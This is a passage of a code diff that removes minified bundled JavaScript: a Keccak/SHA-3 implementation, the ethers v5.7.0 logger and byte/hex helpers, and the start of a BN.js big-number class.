N3.prototype.array = function() { - this.finalize(); - for (var t2, e3, r5 = this.blockCount, n3 = this.s, A3 = this.outputBlocks, i3 = this.extraBytes, o3 = 0, s3 = 0, a2 = []; s3 < A3; ) { - for (o3 = 0; o3 < r5 && s3 < A3; ++o3, ++s3) - t2 = s3 << 2, e3 = n3[o3], a2[t2] = 255 & e3, a2[t2 + 1] = e3 >> 8 & 255, a2[t2 + 2] = e3 >> 16 & 255, a2[t2 + 3] = e3 >> 24 & 255; - s3 % r5 == 0 && x2(n3); - } - return i3 && (t2 = s3 << 2, e3 = n3[o3], a2[t2] = 255 & e3, i3 > 1 && (a2[t2 + 1] = e3 >> 8 & 255), i3 > 2 && (a2[t2 + 2] = e3 >> 16 & 255)), a2; - }, M2.prototype = new N3(), M2.prototype.finalize = function() { - return this.encode(this.outputBits, true), N3.prototype.finalize.call(this); - }; - var x2 = function(t2) { - var e3, r5, n3, A3, i3, o3, s3, a2, c3, h3, u3, l3, f3, p3, d3, I3, y3, C3, m3, B3, E3, w3, v3, _3, Q3, b3, k3, D3, S3, N4, M3, x3, F2, P2, T2, R2, U2, G2, H2, L2, O2, Y2, K2, J2, j2, z2, q2, X2, V2, W2, Z2, $2, tt2, et2, rt2, nt2, At2, it2, ot2, st2, at2, ct2, ht2; - for (n3 = 0; n3 < 48; n3 += 2) - A3 = t2[0] ^ t2[10] ^ t2[20] ^ t2[30] ^ t2[40], i3 = t2[1] ^ t2[11] ^ t2[21] ^ t2[31] ^ t2[41], o3 = t2[2] ^ t2[12] ^ t2[22] ^ t2[32] ^ t2[42], s3 = t2[3] ^ t2[13] ^ t2[23] ^ t2[33] ^ t2[43], a2 = t2[4] ^ t2[14] ^ t2[24] ^ t2[34] ^ t2[44], c3 = t2[5] ^ t2[15] ^ t2[25] ^ t2[35] ^ t2[45], h3 = t2[6] ^ t2[16] ^ t2[26] ^ t2[36] ^ t2[46], u3 = t2[7] ^ t2[17] ^ t2[27] ^ t2[37] ^ t2[47], e3 = (l3 = t2[8] ^ t2[18] ^ t2[28] ^ t2[38] ^ t2[48]) ^ (o3 << 1 | s3 >>> 31), r5 = (f3 = t2[9] ^ t2[19] ^ t2[29] ^ t2[39] ^ t2[49]) ^ (s3 << 1 | o3 >>> 31), t2[0] ^= e3, t2[1] ^= r5, t2[10] ^= e3, t2[11] ^= r5, t2[20] ^= e3, t2[21] ^= r5, t2[30] ^= e3, t2[31] ^= r5, t2[40] ^= e3, t2[41] ^= r5, e3 = A3 ^ (a2 << 1 | c3 >>> 31), r5 = i3 ^ (c3 << 1 | a2 >>> 31), t2[2] ^= e3, t2[3] ^= r5, t2[12] ^= e3, t2[13] ^= r5, t2[22] ^= e3, t2[23] ^= r5, t2[32] ^= e3, t2[33] ^= r5, t2[42] ^= e3, t2[43] ^= r5, e3 = o3 ^ (h3 << 1 | u3 >>> 31), r5 = s3 ^ (u3 << 1 | h3 >>> 31), t2[4] ^= e3, t2[5] ^= r5, t2[14] ^= e3, t2[15] ^= r5, t2[24] ^= e3, t2[25] ^= r5, t2[34] ^= e3, t2[35] ^= r5, t2[44] ^= e3, t2[45] ^= r5, e3 = a2 ^ (l3 << 1 | f3 >>> 31), r5 = c3 ^ (f3 << 1 | l3 >>> 31), t2[6] ^= e3, t2[7] ^= r5, t2[16] ^= e3, t2[17] ^= r5, t2[26] ^= e3, t2[27] ^= r5, t2[36] ^= e3, t2[37] ^= r5, t2[46] ^= e3, t2[47] ^= r5, e3 = h3 ^ (A3 << 1 | i3 >>> 31), r5 = u3 ^ (i3 << 1 | A3 >>> 31), t2[8] ^= e3, t2[9] ^= r5, t2[18] ^= e3, t2[19] ^= r5, t2[28] ^= e3, t2[29] ^= r5, t2[38] ^= e3, t2[39] ^= r5, t2[48] ^= e3, t2[49] ^= r5, p3 = t2[0], d3 = t2[1], z2 = t2[11] << 4 | t2[10] >>> 28, q2 = t2[10] << 4 | t2[11] >>> 28, D3 = t2[20] << 3 | t2[21] >>> 29, S3 = t2[21] << 3 | t2[20] >>> 29, st2 = t2[31] << 9 | t2[30] >>> 23, at2 = t2[30] << 9 | t2[31] >>> 23, Y2 = t2[40] << 18 | t2[41] >>> 14, K2 = t2[41] << 18 | t2[40] >>> 14, P2 = t2[2] << 1 | t2[3] >>> 31, T2 = t2[3] << 1 | t2[2] >>> 31, I3 = t2[13] << 12 | t2[12] >>> 20, y3 = t2[12] << 12 | t2[13] >>> 20, X2 = t2[22] << 10 | t2[23] >>> 22, V2 = t2[23] << 10 | t2[22] >>> 22, N4 = t2[33] << 13 | t2[32] >>> 19, M3 = t2[32] << 13 | t2[33] >>> 19, ct2 = t2[42] << 2 | t2[43] >>> 30, ht2 = t2[43] << 2 | t2[42] >>> 30, et2 = t2[5] << 30 | t2[4] >>> 2, rt2 = t2[4] << 30 | t2[5] >>> 2, R2 = t2[14] << 6 | t2[15] >>> 26, U2 = t2[15] << 6 | t2[14] >>> 26, C3 = t2[25] << 11 | t2[24] >>> 21, m3 = t2[24] << 11 | t2[25] >>> 21, W2 = t2[34] << 15 | t2[35] >>> 17, Z2 = t2[35] << 15 | t2[34] >>> 17, x3 = t2[45] << 29 | t2[44] >>> 3, F2 = t2[44] << 29 | t2[45] >>> 3, _3 = t2[6] << 28 | t2[7] >>> 4, Q3 = t2[7] << 28 | t2[6] >>> 4, nt2 = t2[17] << 23 | t2[16] >>> 9, At2 = t2[16] << 23 | t2[17] >>> 9, G2 = t2[26] << 25 | t2[27] >>> 7, H2 = t2[27] << 25 | t2[26] >>> 7, B3 = t2[36] << 21 | t2[37] >>> 11, E3 = t2[37] << 21 | t2[36] >>> 11, $2 = t2[47] << 24 | t2[46] >>> 8, tt2 = t2[46] << 24 | t2[47] >>> 8, J2 = t2[8] << 27 | t2[9] >>> 5, j2 = t2[9] << 27 | t2[8] >>> 5, b3 = t2[18] << 20 | t2[19] >>> 12, k3 = t2[19] << 20 | t2[18] >>> 12, it2 = t2[29] << 7 | t2[28] >>> 25, ot2 = t2[28] << 7 | t2[29] >>> 25, L2 = t2[38] << 8 | t2[39] >>> 24, O2 = t2[39] << 8 | t2[38] >>> 24, w3 = t2[48] << 14 | t2[49] >>> 18, v3 = t2[49] << 14 | t2[48] >>> 18, t2[0] = p3 ^ ~I3 & C3, t2[1] = d3 ^ ~y3 & m3, t2[10] = _3 ^ ~b3 & D3, t2[11] = Q3 ^ ~k3 & S3, t2[20] = P2 ^ ~R2 & G2, t2[21] = T2 ^ ~U2 & H2, t2[30] = J2 ^ ~z2 & X2, t2[31] = j2 ^ ~q2 & V2, t2[40] = et2 ^ ~nt2 & it2, t2[41] = rt2 ^ ~At2 & ot2, t2[2] = I3 ^ ~C3 & B3, t2[3] = y3 ^ ~m3 & E3, t2[12] = b3 ^ ~D3 & N4, t2[13] = k3 ^ ~S3 & M3, t2[22] = R2 ^ ~G2 & L2, t2[23] = U2 ^ ~H2 & O2, t2[32] = z2 ^ ~X2 & W2, t2[33] = q2 ^ ~V2 & Z2, t2[42] = nt2 ^ ~it2 & st2, t2[43] = At2 ^ ~ot2 & at2, t2[4] = C3 ^ ~B3 & w3, t2[5] = m3 ^ ~E3 & v3, t2[14] = D3 ^ ~N4 & x3, t2[15] = S3 ^ ~M3 & F2, t2[24] = G2 ^ ~L2 & Y2, t2[25] = H2 ^ ~O2 & K2, t2[34] = X2 ^ ~W2 & $2, t2[35] = V2 ^ ~Z2 & tt2, t2[44] = it2 ^ ~st2 & ct2, t2[45] = ot2 ^ ~at2 & ht2, t2[6] = B3 ^ ~w3 & p3, t2[7] = E3 ^ ~v3 & d3, t2[16] = N4 ^ ~x3 & _3, t2[17] = M3 ^ ~F2 & Q3, t2[26] = L2 ^ ~Y2 & P2, t2[27] = O2 ^ ~K2 & T2, t2[36] = W2 ^ ~$2 & J2, t2[37] = Z2 ^ ~tt2 & j2, t2[46] = st2 ^ ~ct2 & et2, t2[47] = at2 ^ ~ht2 & rt2, t2[8] = w3 ^ ~p3 & I3, t2[9] = v3 ^ ~d3 & y3, t2[18] = x3 ^ ~_3 & b3, t2[19] = F2 ^ ~Q3 & k3, t2[28] = Y2 ^ ~P2 & R2, t2[29] = K2 ^ ~T2 & U2, t2[38] = $2 ^ ~J2 & z2, t2[39] = tt2 ^ ~j2 & q2, t2[48] = ct2 ^ ~et2 & nt2, t2[49] = ht2 ^ ~rt2 & At2, t2[0] ^= g2[n3], t2[1] ^= g2[n3 + 1]; - }; - if (i2) - a.exports = w2; - else - for (_2 = 0; _2 < v2.length; ++_2) - n2[v2[_2]] = w2[v2[_2]]; - }(); - var h = e(c.exports); - var g = false; - var u = false; - var l = { debug: 1, default: 2, info: 2, warning: 3, error: 4, off: 5 }; - var f = l.default; - var p = null; - var d = function() { - try { - const t2 = []; - if (["NFD", "NFC", "NFKD", "NFKC"].forEach((e2) => { - try { - if ("test" !== "test".normalize(e2)) - throw new Error("bad normalize"); - } catch (r4) { - t2.push(e2); - } - }), t2.length) - throw new Error("missing " + t2.join(", ")); - if (String.fromCharCode(233).normalize("NFD") !== String.fromCharCode(101, 769)) - throw new Error("broken implementation"); - } catch (t2) { - return t2.message; - } - return null; - }(); - var I; - var y; - !function(t2) { - t2.DEBUG = "DEBUG", t2.INFO = "INFO", t2.WARNING = "WARNING", t2.ERROR = "ERROR", t2.OFF = "OFF"; - }(I || (I = {})), function(t2) { - t2.UNKNOWN_ERROR = "UNKNOWN_ERROR", t2.NOT_IMPLEMENTED = "NOT_IMPLEMENTED", t2.UNSUPPORTED_OPERATION = "UNSUPPORTED_OPERATION", t2.NETWORK_ERROR = "NETWORK_ERROR", t2.SERVER_ERROR = "SERVER_ERROR", t2.TIMEOUT = "TIMEOUT", t2.BUFFER_OVERRUN = "BUFFER_OVERRUN", t2.NUMERIC_FAULT = "NUMERIC_FAULT", t2.MISSING_NEW = "MISSING_NEW", t2.INVALID_ARGUMENT = "INVALID_ARGUMENT", t2.MISSING_ARGUMENT = "MISSING_ARGUMENT", t2.UNEXPECTED_ARGUMENT = "UNEXPECTED_ARGUMENT", t2.CALL_EXCEPTION = "CALL_EXCEPTION", t2.INSUFFICIENT_FUNDS = "INSUFFICIENT_FUNDS", t2.NONCE_EXPIRED = "NONCE_EXPIRED", t2.REPLACEMENT_UNDERPRICED = "REPLACEMENT_UNDERPRICED", t2.UNPREDICTABLE_GAS_LIMIT = "UNPREDICTABLE_GAS_LIMIT", t2.TRANSACTION_REPLACED = "TRANSACTION_REPLACED", t2.ACTION_REJECTED = "ACTION_REJECTED"; - }(y || (y = {})); - var C = "0123456789abcdef"; - var m = class t2 { - constructor(t3) { - Object.defineProperty(this, "version", { enumerable: true, value: t3, writable: false }); - } - _log(t3, e2) { - const r4 = t3.toLowerCase(); - null == l[r4] && this.throwArgumentError("invalid log level name", "logLevel", t3), f > l[r4] || console.log.apply(console, e2); - } - debug(...e2) { - this._log(t2.levels.DEBUG, e2); - } - info(...e2) { - this._log(t2.levels.INFO, e2); - } - warn(...e2) { - this._log(t2.levels.WARNING, e2); - } - makeError(e2, r4, n2) { - if (u) - return this.makeError("censored error", r4, {}); - r4 || (r4 = t2.errors.UNKNOWN_ERROR), n2 || (n2 = {}); - const A2 = []; - Object.keys(n2).forEach((t3) => { - const e3 = n2[t3]; - try { - if (e3 instanceof Uint8Array) { - let r5 = ""; - for (let t4 = 0; t4 < e3.length; t4++) - r5 += C[e3[t4] >> 4], r5 += C[15 & e3[t4]]; - A2.push(t3 + "=Uint8Array(0x" + r5 + ")"); - } else - A2.push(t3 + "=" + JSON.stringify(e3)); - } catch (e4) { - A2.push(t3 + "=" + JSON.stringify(n2[t3].toString())); - } - }), A2.push(`code=${r4}`), A2.push(`version=${this.version}`); - const i2 = e2; - let o2 = ""; - switch (r4) { - case y.NUMERIC_FAULT: { - o2 = "NUMERIC_FAULT"; - const t3 = e2; - switch (t3) { - case "overflow": - case "underflow": - case "division-by-zero": - o2 += "-" + t3; - break; - case "negative-power": - case "negative-width": - o2 += "-unsupported"; - break; - case "unbound-bitwise-result": - o2 += "-unbound-result"; - } - break; - } - case y.CALL_EXCEPTION: - case y.INSUFFICIENT_FUNDS: - case y.MISSING_NEW: - case y.NONCE_EXPIRED: - case y.REPLACEMENT_UNDERPRICED: - case y.TRANSACTION_REPLACED: - case y.UNPREDICTABLE_GAS_LIMIT: - o2 = r4; - } - o2 && (e2 += " [ See: https://links.ethers.org/v5-errors-" + o2 + " ]"), A2.length && (e2 += " (" + A2.join(", ") + ")"); - const s2 = new Error(e2); - return s2.reason = i2, s2.code = r4, Object.keys(n2).forEach(function(t3) { - s2[t3] = n2[t3]; - }), s2; - } - throwError(t3, e2, r4) { - throw this.makeError(t3, e2, r4); - } - throwArgumentError(e2, r4, n2) { - return this.throwError(e2, t2.errors.INVALID_ARGUMENT, { argument: r4, value: n2 }); - } - assert(t3, e2, r4, n2) { - t3 || this.throwError(e2, r4, n2); - } - assertArgument(t3, e2, r4, n2) { - t3 || this.throwArgumentError(e2, r4, n2); - } - checkNormalize(e2) { - d && this.throwError("platform missing String.prototype.normalize", t2.errors.UNSUPPORTED_OPERATION, { operation: "String.prototype.normalize", form: d }); - } - checkSafeUint53(e2, r4) { - "number" == typeof e2 && (null == r4 && (r4 = "value not safe"), (e2 < 0 || e2 >= 9007199254740991) && this.throwError(r4, t2.errors.NUMERIC_FAULT, { operation: "checkSafeInteger", fault: "out-of-safe-range", value: e2 }), e2 % 1 && this.throwError(r4, t2.errors.NUMERIC_FAULT, { operation: "checkSafeInteger", fault: "non-integer", value: e2 })); - } - checkArgumentCount(e2, r4, n2) { - n2 = n2 ? ": " + n2 : "", e2 < r4 && this.throwError("missing argument" + n2, t2.errors.MISSING_ARGUMENT, { count: e2, expectedCount: r4 }), e2 > r4 && this.throwError("too many arguments" + n2, t2.errors.UNEXPECTED_ARGUMENT, { count: e2, expectedCount: r4 }); - } - checkNew(e2, r4) { - e2 !== Object && null != e2 || this.throwError("missing new", t2.errors.MISSING_NEW, { name: r4.name }); - } - checkAbstract(e2, r4) { - e2 === r4 ? this.throwError("cannot instantiate abstract class " + JSON.stringify(r4.name) + " directly; use a sub-class", t2.errors.UNSUPPORTED_OPERATION, { name: e2.name, operation: "new" }) : e2 !== Object && null != e2 || this.throwError("missing new", t2.errors.MISSING_NEW, { name: r4.name }); - } - static globalLogger() { - return p || (p = new t2("logger/5.7.0")), p; - } - static setCensorship(e2, r4) { - if (!e2 && r4 && this.globalLogger().throwError("cannot permanently disable censorship", t2.errors.UNSUPPORTED_OPERATION, { operation: "setCensorship" }), g) { - if (!e2) - return; - this.globalLogger().throwError("error censorship permanent", t2.errors.UNSUPPORTED_OPERATION, { operation: "setCensorship" }); - } - u = !!e2, g = !!r4; - } - static setLogLevel(e2) { - const r4 = l[e2.toLowerCase()]; - null != r4 ? f = r4 : t2.globalLogger().warn("invalid log level - " + e2); - } - static from(e2) { - return new t2(e2); - } - }; - m.errors = y, m.levels = I; - var B = new m("bytes/5.7.0"); - function E(t2) { - return !!t2.toHexString; - } - function w(t2) { - return t2.slice || (t2.slice = function() { - const e2 = Array.prototype.slice.call(arguments); - return w(new Uint8Array(Array.prototype.slice.apply(t2, e2))); - }), t2; - } - function v(t2) { - return "number" == typeof t2 && t2 == t2 && t2 % 1 == 0; - } - function _(t2) { - if (null == t2) - return false; - if (t2.constructor === Uint8Array) - return true; - if ("string" == typeof t2) - return false; - if (!v(t2.length) || t2.length < 0) - return false; - for (let e2 = 0; e2 < t2.length; e2++) { - const r4 = t2[e2]; - if (!v(r4) || r4 < 0 || r4 >= 256) - return false; - } - return true; - } - function Q(t2, e2) { - if (e2 || (e2 = {}), "number" == typeof t2) { - B.checkSafeUint53(t2, "invalid arrayify value"); - const e3 = []; - for (; t2; ) - e3.unshift(255 & t2), t2 = parseInt(String(t2 / 256)); - return 0 === e3.length && e3.push(0), w(new Uint8Array(e3)); - } - if (e2.allowMissingPrefix && "string" == typeof t2 && "0x" !== t2.substring(0, 2) && (t2 = "0x" + t2), E(t2) && (t2 = t2.toHexString()), k(t2)) { - let r4 = t2.substring(2); - r4.length % 2 && ("left" === e2.hexPad ? r4 = "0" + r4 : "right" === e2.hexPad ? r4 += "0" : B.throwArgumentError("hex data is odd-length", "value", t2)); - const n2 = []; - for (let t3 = 0; t3 < r4.length; t3 += 2) - n2.push(parseInt(r4.substring(t3, t3 + 2), 16)); - return w(new Uint8Array(n2)); - } - return _(t2) ? w(new Uint8Array(t2)) : B.throwArgumentError("invalid arrayify value", "value", t2); - } - function b(t2) { - const e2 = t2.map((t3) => Q(t3)), r4 = e2.reduce((t3, e3) => t3 + e3.length, 0), n2 = new Uint8Array(r4); - return e2.reduce((t3, e3) => (n2.set(e3, t3), t3 + e3.length), 0), w(n2); - } - function k(t2, e2) { - return !("string" != typeof t2 || !t2.match(/^0x[0-9A-Fa-f]*$/)) && (!e2 || t2.length === 2 + 2 * e2); - } - var D = "0123456789abcdef"; - function S(t2, e2) { - if (e2 || (e2 = {}), "number" == typeof t2) { - B.checkSafeUint53(t2, "invalid hexlify value"); - let e3 = ""; - for (; t2; ) - e3 = D[15 & t2] + e3, t2 = Math.floor(t2 / 16); - return e3.length ? (e3.length % 2 && (e3 = "0" + e3), "0x" + e3) : "0x00"; - } - if ("bigint" == typeof t2) - return (t2 = t2.toString(16)).length % 2 ? "0x0" + t2 : "0x" + t2; - if (e2.allowMissingPrefix && "string" == typeof t2 && "0x" !== t2.substring(0, 2) && (t2 = "0x" + t2), E(t2)) - return t2.toHexString(); - if (k(t2)) - return t2.length % 2 && ("left" === e2.hexPad ? t2 = "0x0" + t2.substring(2) : "right" === e2.hexPad ? t2 += "0" : B.throwArgumentError("hex data is odd-length", "value", t2)), t2.toLowerCase(); - if (_(t2)) { - let e3 = "0x"; - for (let r4 = 0; r4 < t2.length; r4++) { - let n2 = t2[r4]; - e3 += D[(240 & n2) >> 4] + D[15 & n2]; - } - return e3; - } - return B.throwArgumentError("invalid hexlify value", "value", t2); - } - function N2(t2, e2, r4) { - return "string" != typeof t2 ? t2 = S(t2) : (!k(t2) || t2.length % 2) && B.throwArgumentError("invalid hexData", "value", t2), e2 = 2 + 2 * e2, null != r4 ? "0x" + t2.substring(e2, 2 + 2 * r4) : "0x" + t2.substring(e2); - } - function M(t2) { - let e2 = "0x"; - return t2.forEach((t3) => { - e2 += S(t3).substring(2); - }), e2; - } - function x(t2, e2) { - for ("string" != typeof t2 ? t2 = S(t2) : k(t2) || B.throwArgumentError("invalid hex string", "value", t2), t2.length > 2 * e2 + 2 && B.throwArgumentError("value out of range", "value", arguments[1]); t2.length < 2 * e2 + 2; ) - t2 = "0x0" + t2.substring(2); - return t2; - } - function F(t2) { - return "0x" + h.keccak_256(Q(t2)); - } - var P = { exports: {} }; - var T = r3(Object.freeze({ __proto__: null, default: {} })); - !function(t2, e2) { - function r4(t3, e3) { - if (!t3) - throw new Error(e3 || "Assertion failed"); - } - function n2(t3, e3) { - t3.super_ = e3; - var r5 = function() { - }; - r5.prototype = e3.prototype, t3.prototype = new r5(), t3.prototype.constructor = t3; - } - function A2(t3, e3, r5) { - if (A2.isBN(t3)) - return t3; - this.negative = 0, this.words = null, this.length = 0, this.red = null, null !== t3 && ("le" !== e3 && "be" !== e3 || (r5 = e3, e3 = 10), this._init(t3 || 0, e3 || 10, r5 || "be")); - } - var i2; - "object" == typeof t2 ? t2.exports = A2 : e2.BN = A2, A2.BN = A2, A2.wordSize = 26; - try { - i2 = "undefined" != typeof window && void 0 !== window.Buffer ? window.Buffer : T.Buffer; - } catch (t3) { - } - function o2(t3, e3) { - var n3 = t3.charCodeAt(e3); - return n3 >= 48 && n3 <= 57 ? n3 - 48 : n3 >= 65 && n3 <= 70 ? n3 - 55 : n3 >= 97 && n3 <= 102 ? n3 - 87 : void r4(false, "Invalid character in " + t3); - } - function s2(t3, e3, r5) { - var n3 = o2(t3, r5); - return r5 - 1 >= e3 && (n3 |= o2(t3, r5 - 1) << 4), n3; - } - function a2(t3, e3, n3, A3) { - for (var i3 = 0, o3 = 0, s3 = Math.min(t3.length, n3), a3 = e3; a3 < s3; a3++) { - var c3 = t3.charCodeAt(a3) - 48; - i3 *= A3, o3 = c3 >= 49 ? c3 - 49 + 10 : c3 >= 17 ? c3 - 17 + 10 : c3, r4(c3 >= 0 && o3 < A3, "Invalid character"), i3 += o3; - } - return i3; - } - function c2(t3, e3) { - t3.words = e3.words, t3.length = e3.length, t3.negative = e3.negative, t3.red = e3.red; - } - if (A2.isBN = function(t3) { - return t3 instanceof A2 || null !== t3 && "object" == typeof t3 && t3.constructor.wordSize === A2.wordSize && Array.isArray(t3.words); - }, A2.max = function(t3, e3) { - return t3.cmp(e3) > 0 ? t3 : e3; - }, A2.min = function(t3, e3) { - return t3.cmp(e3) < 0 ? t3 : e3; - }, A2.prototype._init = function(t3, e3, n3) { - if ("number" == typeof t3) - return this._initNumber(t3, e3, n3); - if ("object" == typeof t3) - return this._initArray(t3, e3, n3); - "hex" === e3 && (e3 = 16), r4(e3 === (0 | e3) && e3 >= 2 && e3 <= 36); - var A3 = 0; - "-" === (t3 = t3.toString().replace(/\s+/g, ""))[0] && (A3++, this.negative = 1), A3 < t3.length && (16 === e3 ? this._parseHex(t3, A3, n3) : (this._parseBase(t3, e3, A3), "le" === n3 && this._initArray(this.toArray(), e3, n3))); - }, A2.prototype._initNumber = function(t3, e3, n3) { - t3 < 0 && (this.negative = 1, t3 = -t3), t3 < 67108864 ? (this.words = [67108863 & t3], this.length = 1) : t3 < 4503599627370496 ? (this.words = [67108863 & t3, t3 / 67108864 & 67108863], this.length = 2) : (r4(t3 < 9007199254740992), this.words = [67108863 & t3, t3 / 67108864 & 67108863, 1], this.length = 3), "le" === n3 && this._initArray(this.toArray(), e3, n3); - }, A2.prototype._initArray = function(t3, e3, n3) { - if (r4("number" == typeof t3.length), t3.length <= 0) - return this.words = [0], this.length = 1, this; - this.length = Math.ceil(t3.length / 3), this.words = new Array(this.length); - for (var A3 = 0; A3 < this.length; A3++) - this.words[A3] = 0; - var i3, o3, s3 = 0; - if ("be" === n3) - for (A3 = t3.length - 1, i3 = 0; A3 >= 0; A3 -= 3) - o3 = t3[A3] | t3[A3 - 1] << 8 | t3[A3 - 2] << 16, this.words[i3] |= o3 << s3 & 67108863, this.words[i3 + 1] = o3 >>> 26 - s3 & 67108863, (s3 += 24) >= 26 && (s3 -= 26, i3++); - else if ("le" === n3) - for (A3 = 0, i3 = 0; A3 < t3.length; A3 += 3) - o3 = t3[A3] | t3[A3 + 1] << 8 | t3[A3 + 2] << 16, this.words[i3] |= o3 << s3 & 67108863, this.words[i3 + 1] = o3 >>> 26 - s3 & 67108863, (s3 += 24) >= 26 && (s3 -= 26, i3++); - return this._strip(); - }, A2.prototype._parseHex = function(t3, e3, r5) { - this.length = Math.ceil((t3.length - e3) / 6), this.words = new Array(this.length); - for (var n3 = 0; n3 < this.length; n3++) - this.words[n3] = 0; - var A3, i3 = 0, o3 = 0; - if ("be" === r5) - for (n3 = t3.length - 1; n3 >= e3; n3 -= 2) - A3 = s2(t3, e3, n3) << i3, this.words[o3] |= 67108863 & A3, i3 >= 18 ? (i3 -= 18, o3 += 1, this.words[o3] |= A3 >>> 26) : i3 += 8; - else - for (n3 = (t3.length - e3) % 2 == 0 ? e3 + 1 : e3; n3 < t3.length; n3 += 2) - A3 = s2(t3, e3, n3) << i3, this.words[o3] |= 67108863 & A3, i3 >= 18 ? (i3 -= 18, o3 += 1, this.words[o3] |= A3 >>> 26) : i3 += 8; - this._strip(); - }, A2.prototype._parseBase = function(t3, e3, r5) { - this.words = [0], this.length = 1; - for (var n3 = 0, A3 = 1; A3 <= 67108863; A3 *= e3) - n3++; - n3--, A3 = A3 / e3 | 0; - for (var i3 = t3.length - r5, o3 = i3 % n3, s3 = Math.min(i3, i3 - o3) + r5, c3 = 0, h3 = r5; h3 < s3; h3 += n3) - c3 = a2(t3, h3, h3 + n3, e3), this.imuln(A3), this.words[0] + c3 < 67108864 ? this.words[0] += c3 : this._iaddn(c3); - if (0 !== o3) { - var g3 = 1; - for (c3 = a2(t3, h3, t3.length, e3), h3 = 0; h3 < o3; h3++) - g3 *= e3; - this.imuln(g3), this.words[0] + c3 < 67108864 ? this.words[0] += c3 : this._iaddn(c3); - } - this._strip(); - }, A2.prototype.copy = function(t3) { - t3.words = new Array(this.length); - for (var e3 = 0; e3 < this.length; e3++) - t3.words[e3] = this.words[e3]; - t3.length = this.length, t3.negative = this.negative, t3.red = this.red; - }, A2.prototype._move = function(t3) { - c2(t3, this); - }, A2.prototype.clone = function() { - var t3 = new A2(null); - return this.copy(t3), t3; - }, A2.prototype._expand = function(t3) { - for (; this.length < t3; ) - this.words[this.length++] = 0; - return this; - }, A2.prototype._strip = function() { - for (; this.length > 1 && 0 === this.words[this.length - 1]; ) - this.length--; - return this._normSign(); - }, A2.prototype._normSign = function() { - return 1 === this.length && 0 === this.words[0] && (this.negative = 0), this; - }, "undefined" != typeof Symbol && "function" == typeof Symbol.for) - try { - A2.prototype[Symbol.for("nodejs.util.inspect.custom")] = h2; - } catch (t3) { - A2.prototype.inspect = h2; - } - else - A2.prototype.inspect = h2; - function h2() { - return (this.red ? ""; - } - var g2 = ["", "0", "00", "000", "0000", "00000", "000000", "0000000", "00000000", "000000000", "0000000000", "00000000000", "000000000000", "0000000000000", "00000000000000", "000000000000000", "0000000000000000", "00000000000000000", "000000000000000000", "0000000000000000000", "00000000000000000000", "000000000000000000000", "0000000000000000000000", "00000000000000000000000", "000000000000000000000000", "0000000000000000000000000"], u2 = [0, 0, 25, 16, 12, 11, 10, 9, 8, 8, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5], l2 = [0, 0, 33554432, 43046721, 16777216, 48828125, 60466176, 40353607, 16777216, 43046721, 1e7, 19487171, 35831808, 62748517, 7529536, 11390625, 16777216, 24137569, 34012224, 47045881, 64e6, 4084101, 5153632, 6436343, 7962624, 9765625, 11881376, 14348907, 17210368, 20511149, 243e5, 28629151, 33554432, 39135393, 45435424, 52521875, 60466176]; - function f2(t3, e3, r5) { - r5.negative = e3.negative ^ t3.negative; - var n3 = t3.length + e3.length | 0; - r5.length = n3, n3 = n3 - 1 | 0; - var A3 = 0 | t3.words[0], i3 = 0 | e3.words[0], o3 = A3 * i3, s3 = 67108863 & o3, a3 = o3 / 67108864 | 0; - r5.words[0] = s3; - for (var c3 = 1; c3 < n3; c3++) { - for (var h3 = a3 >>> 26, g3 = 67108863 & a3, u3 = Math.min(c3, e3.length - 1), l3 = Math.max(0, c3 - t3.length + 1); l3 <= u3; l3++) { - var f3 = c3 - l3 | 0; - h3 += (o3 = (A3 = 0 | t3.words[f3]) * (i3 = 0 | e3.words[l3]) + g3) / 67108864 | 0, g3 = 67108863 & o3; - } - r5.words[c3] = 0 | g3, a3 = 0 | h3; - } - return 0 !== a3 ? r5.words[c3] = 0 | a3 : r5.length--, r5._strip(); - } - A2.prototype.toString = function(t3, e3) { - var n3; - if (e3 = 0 | e3 || 1, 16 === (t3 = t3 || 10) || "hex" === t3) { - n3 = ""; - for (var A3 = 0, i3 = 0, o3 = 0; o3 < this.length; o3++) { - var s3 = this.words[o3], a3 = (16777215 & (s3 << A3 | i3)).toString(16); - i3 = s3 >>> 24 - A3 & 16777215, (A3 += 2) >= 26 && (A3 -= 26, o3--), n3 = 0 !== i3 || o3 !== this.length - 1 ? g2[6 - a3.length] + a3 + n3 : a3 + n3; - } - for (0 !== i3 && (n3 = i3.toString(16) + n3); n3.length % e3 != 0; ) - n3 = "0" + n3; - return 0 !== this.negative && (n3 = "-" + n3), n3; - } - if (t3 === (0 | t3) && t3 >= 2 && t3 <= 36) { - var c3 = u2[t3], h3 = l2[t3]; - n3 = ""; - var f3 = this.clone(); - for (f3.negative = 0; !f3.isZero(); ) { - var p3 = f3.modrn(h3).toString(t3); - n3 = (f3 = f3.idivn(h3)).isZero() ? p3 + n3 : g2[c3 - p3.length] + p3 + n3; - } - for (this.isZero() && (n3 = "0" + n3); n3.length % e3 != 0; ) - n3 = "0" + n3; - return 0 !== this.negative && (n3 = "-" + n3), n3; - } - r4(false, "Base should be between 2 and 36"); - }, A2.prototype.toNumber = function() { - var t3 = this.words[0]; - return 2 === this.length ? t3 += 67108864 * this.words[1] : 3 === this.length && 1 === this.words[2] ? t3 += 4503599627370496 + 67108864 * this.words[1] : this.length > 2 && r4(false, "Number can only safely store up to 53 bits"), 0 !== this.negative ? -t3 : t3; - }, A2.prototype.toJSON = function() { - return this.toString(16, 2); - }, i2 && (A2.prototype.toBuffer = function(t3, e3) { - return this.toArrayLike(i2, t3, e3); - }), A2.prototype.toArray = function(t3, e3) { - return this.toArrayLike(Array, t3, e3); - }, A2.prototype.toArrayLike = function(t3, e3, n3) { - this._strip(); - var A3 = this.byteLength(), i3 = n3 || Math.max(1, A3); - r4(A3 <= i3, "byte array longer than desired length"), r4(i3 > 0, "Requested array length <= 0"); - var o3 = function(t4, e4) { - return t4.allocUnsafe ? t4.allocUnsafe(e4) : new t4(e4); - }(t3, i3); - return this["_toArrayLike" + ("le" === e3 ? "LE" : "BE")](o3, A3), o3; - }, A2.prototype._toArrayLikeLE = function(t3, e3) { - for (var r5 = 0, n3 = 0, A3 = 0, i3 = 0; A3 < this.length; A3++) { - var o3 = this.words[A3] << i3 | n3; - t3[r5++] = 255 & o3, r5 < t3.length && (t3[r5++] = o3 >> 8 & 255), r5 < t3.length && (t3[r5++] = o3 >> 16 & 255), 6 === i3 ? (r5 < t3.length && (t3[r5++] = o3 >> 24 & 255), n3 = 0, i3 = 0) : (n3 = o3 >>> 24, i3 += 